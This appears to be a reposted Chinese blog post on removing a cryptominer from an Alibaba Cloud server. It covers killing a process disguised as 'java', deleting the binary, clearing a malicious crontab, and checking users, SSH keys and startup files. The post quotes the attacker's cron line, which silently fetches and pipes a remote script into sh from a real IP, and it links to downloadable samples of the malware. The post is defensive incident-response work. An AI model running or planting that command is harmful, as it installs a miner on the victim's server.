博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
阿里云云盾安全事件提醒:挖矿程序
阅读量:4554 次
发布时间:2019-06-08

本文共 2534 字,大约阅读时间需要 8 分钟。

一:杀死挖矿程序进程

在服务器上使用top指令查看cpu的使用情况,发现有一个叫java的程序占用cpu高达99.9%

PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND                                       5778 root      20   0  373576   2720    404 S 99.9  0.1   1252:00 java                                             1 root      20   0   43208   3544   2420 S  0.0  0.2   0:04.52 systemd                                          2 root      20   0       0      0      0 S  0.0  0.0   0:00.00 kthreadd                                         3 root      20   0       0      0      0 S  0.0  0.0   0:00.08 ksoftirqd/0                                      5 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 kworker/0:0H                                     7 root      rt   0       0      0      0 S  0.0  0.0   0:00.00 migration/0 ————————————————
这个是挖矿程序伪装成java程序,用jps查看java进程的时候并没有这个程序。通过pkill 5778杀死进程二:删除挖矿程序我们通过cd /proc/5778(这个java挖矿程序的pid)进入到这个进程的目录然后通过ll命令查看这个进程程序的位置dr-xr-xr-x 2 root root 0 Oct 11 17:24 attr-rw-r--r-- 1 root root 0 Oct 11 17:24 autogroup-r-------- 1 root root 0 Oct 11 17:24 auxv-r--r--r-- 1 root root 0 Oct 11 17:24 cgroup--w------- 1 root root 0 Oct 11 17:24 clear_refs-r--r--r-- 1 root root 0 Oct 10 20:18 cmdline-rw-r--r-- 1 root root 0 Oct 11 17:24 comm-rw-r--r-- 1 root root 0 Oct 11 17:24 coredump_filter-r--r--r-- 1 root root 0 Oct 11 17:24 cpusetlrwxrwxrwx 1 root root 0 Oct 11 17:24 cwd -> /-r-------- 1 root root 0 Oct 11 17:24 environlrwxrwxrwx 1 root root 0 Oct 10 20:18 exe -> /var/tmp/javadr-x------ 2 root root 0 Oct 10 20:18 fddr-x------ 2 root root 0 Oct 11 17:24 fdinfo然后我们进入这个程序的目录找到这个程序然后删除-rwxr-xr-x 1 root root 2386544 Oct  9 15:53 javarm -rf java不过做到这里不久之后这个挖矿程序还是会死灰复燃

三:清除挖矿程序的定时任务

因为你的系统中已经被设置了一个定时任务,定时下载挖矿程序并运行

通过crontab -l 查看该用户下的所有定时任务

* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1无时无刻的静默执行这个cr.sh脚本,还清除了记录,真的是阴啊!crontab -r 删除定时任务不过我好奇这个脚本里写了什么,于是乎修改了一下这个定时任务,把他的脚本下载了下来,发现通过这个脚本又执行了另一个脚本,还得到了一个配置文件,再加上伪装成java的挖矿软件,一共四个东西,我都上传了,有兴趣的可以下来看下。https://download.csdn.net/download/zzf1510711060/10714458最后提醒下,服务器的一些高危端口千万不要随便开启啊,如果用阿里云搭建集群的话可以配置安全组规则,针对于特定的主机开放端口,不要对所有ip开放端口。

四:检查用户列表,.ssh文件,开机启动

cat /etc/passwd 检查是否有未知用户

cat ~/.ssh/authrized_keys 检查是否对未知用户授权

cat known_hosts 检查是否有未知的用host

/etc/rc.local /etc/rc.sysinit /etc/inittab /etc/profile 这些开机启动的系统配置目录下面可能有挖矿程序的脚本,检查一下

步骤简化:

1.pkill java 杀掉挖矿程序的进程

2.rm -rf java 删除挖矿程序

3.crontab -r 删除定时任务

4.检查用户列表,开机启动,.ssh文件

5.去阿里云控制台设置安全组关闭不安全端口 或者安全组拒绝某些IP策略

————————————————

转载于:https://www.cnblogs.com/shanheyongmu/p/11471021.html

你可能感兴趣的文章
Cocos2d-x
查看>>
FIR滤波器设计
查看>>
1005 继续(3n+1)猜想 (25 分)
查看>>
【Uva 1252】Twenty Questions
查看>>
1_访问命令行
查看>>
File操作相关
查看>>
Linux:文本处理工具
查看>>
java,for穷举,经典题目,百鸡百钱
查看>>
mysql提示Column count doesn't match value count at row 1错误
查看>>
前端--jstree--异步加载数据
查看>>
CSS定位深入理解 完全掌握CSS定位 相对定位和绝对定位
查看>>
网络体系结构
查看>>
练习4.13、4.14、4.15、4.16
查看>>
SAP库龄表
查看>>
PhantomJS 基础及示例 (转)
查看>>
20175316盛茂淞 2018-2019-2 《Java程序设计》第3周学习总结
查看>>
zookeeper安装
查看>>
js清空页面控件值
查看>>
Appium使用Python运行appium测试的实例
查看>>
django request bug
查看>>